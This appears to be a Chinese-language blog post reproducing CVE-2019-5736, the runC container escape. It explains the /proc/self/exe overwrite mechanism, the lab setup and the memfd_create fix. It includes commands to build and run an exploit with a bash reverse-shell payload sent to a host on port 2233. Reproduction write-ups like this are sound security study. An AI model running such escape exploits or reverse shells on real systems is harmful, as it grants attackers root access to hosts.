runC容器逃逸-CVE-2019-5736复现
2023-2-18
| 2023-4-26
0  |  0 分钟
type
Post
status
Published
date
Feb 18, 2023
slug
2023/CVE-2019-5736
summary
runC是众多PaaS平台、容器运行时的底层实现,主要实现了Linux命名空间的隔离
tags
云安全
category
漏洞复现
icon
password

漏洞环境

环境部署
./metarget cnv install cve-2019-5736
漏洞影响版本
  • runC < 1.0-rc6 (docker < 18.09.2)
利用条件
需要在容器内具有 root 权限,才能覆盖runC文件
漏洞描述
runc through 1.0-rc6, as used in Docker before 18.09.2 and other products, allows attackers to overwrite the host runc binary (and consequently obtain host root access) by leveraging the ability to execute a command as root within one of these types of containers: (1) a new container with an attacker-controlled image, or (2) an existing container, to which the attacker previously had write access, that can be attached with docker exec. This occurs because of file-descriptor mishandling, related to /proc/self/exe.
环境版本信息
root@cloud_shoot /o/metarget# docker -vDocker version 18.03.1-ce, build 9ee9f40root@cloud_shoot /o/metarget# docker-runc -vrunc version 1.0.0-rc5commit: 4fc53a81fb7c994640722ac585fa9ca548971871spec: 1.0.0
拉一下 docker 镜像
docker pull ubuntudocker run -it ubuntu /bin/bash

前置知识

漏洞描述中说漏洞主要由runC引起的,那什么是 runC?
runC 最初是Docker的一般分核心代码,用于底层容器运行时,被 Docker (“高层次”)调度用来运行容器,后面被单独开源出来了。这里的 “高层次” 是指 容器的镜像创建、管理,创建容器、进入正在运行中的容器 (docker exec) 等功能
 
为了防止容器内执行的命令对宿主机造成影响,runC 会创建一个 runC init 的带有命名空间限制的子进程,使得让其可以安全的运行在容器中,然后用户在容器调用命令时,底层通过运行execve系统调用 在新的(容器内)命名空间执行。创建新的容器和从宿主机进入到容器内也是这样操作的。
notion image
现在问题就是在,runC init 运行时,是直接指向宿主机的 runC 的,也就是说攻击者通过重写 /proc/self/exe 的方式,待用户从宿主机进入容器时,即会篡改宿主机的 runC,最终运行篡改后的 runC 从而造成宿主机命令执行。
notion image
那为啥不直接篡改 /proc/[runc-init-pid]/exe ,非得受害者从宿主机进入才能触发漏洞呢?(毕竟篡改了runC,docker在执行很多容器相关操作时都会调用到runC,这样就可以做到被动出发这个漏洞了)
 
这都从CVE-2016-9962说起,它是一个能遍历宿主机目录的漏洞。这个漏洞补丁,是在从宿主机进入容器前 runC init 进程不会影响至宿主机的文件,然后进入容器执行execve后会把相关标记位去除,即可影响宿主机上的runC。

漏洞分析

进入拉取的 ubuntu 容器
docker exec -it angry_brahmagupta /bin/bash
首先,/proc 目录是Linux里记录进程运行信息的虚拟文件系统(运行在内存中,非真正存在于硬盘中),一般都是挂载在 /proc,我们可以认为是内核映射出来的,每个进程都有它自己的目录 /proc/<pid>。然后 /proc/self 表示当前进程所在目录,是 /proc/<pid> 的软链接。对于本漏洞来说,进程目录有1个文件和1个目录需要关注的
  • /proc/self/exe 当前进程运行着的可执行文件等软链接
  • /proc/self/fd 包含了当前进程打开的文件描述符
notion image
运行 /proc/self/exe --help 发现是个 bash 程序,因为我们是运行 /bin/bash 进入的,并以 /bin/bash 执行,而 /proc/self 目录记录的是当前进程的运行信息,/proc/self/exe 是内核为每个进程创建的指向该进程执行二进制文件的软链接。如果在容器内执行 /bin/bash ,最终执行的是 /proc/self/exe ,然后 /proc/self/exe 指向宿主机的 runc 可执行文件。
 
如果我们能够改写 /proc/self/exe 那么就可以改写 runc ,又因进入容器时执行的命令会执行 runc, 那么我们就可以在宿主机上执行任意命令了。
 
这里存在一个问题,当我们进入容器时,runc 执行,但处理执行中的文件是无法被写入的,但它运行完我们 /proc/[runc-pid]/ 目录又会不见了,我们需要记录它。刚刚提及到 /proc/self/fd 的作用,即我们发现 runc 在执行后,通过我们的脚本马上打开它 /proc/[runc-pid]/exe,然后在 /proc/self/fd/xx 就能找到我们打开的 /proc/[runc-pid]/exe,等 runc 执行完后,马上写入它,就可以修改宿主机的 runc

漏洞利用

主要有两种利用方式
  1. 拉取一个攻击者构造的容器,启动后即触发重写 /proc/self/exe 的程序,可见此
  1. 攻击者获取到容器内的 root 权限,运行漏洞EXP,导致受害者在进入容器时宿主机 runc 被执行攻击者构造的命令。下面即演示这种方式
如果在本机实验,因为漏洞利用会重写 runC,所以请先备份一下 docker-runc 或 runc,或者给虚拟机打个快照(建议快照,本机尝试恢复 docker-runc 无法恢复 docker exec -it 功能)
whereis docker-runc cp /usr/bin/docker-runc /xxx/docker-runc-bak
编译EXP
GOOS=linux GOARCH=amd64 go build -o cve-2019-5736 main.go
生成的EXP放到受害者容器内执行
./cve-2019-5736 -shell "/bin/bash -i >& /dev/tcp/172.23.204.36/2233 0>&1"
受害者进入容器
docker exec -it angry_brahmagupta /bin/sh
注意受害者必须以 /bin/sh 进入容器才能正常执行命令
notion image

漏洞修复

从宿主机进入容器,即在执行 /proc/self/exe 时,通过 memfd_create 函数先为其在内存中创建一个宿主机 runc 的不可写( O_RDONLY | O_CLOEXEC )临时副本,副本仅可读可执行,且与宿主机 runc 无关,即使能可写也不会影响到宿主机的 runc 从而避免容器逃逸

参考

漏洞复现
  • 云安全
  • moby容器逃逸-CVE-2019-14271复现Linux命名空间机制及其隔离不当导致的漏洞
    目录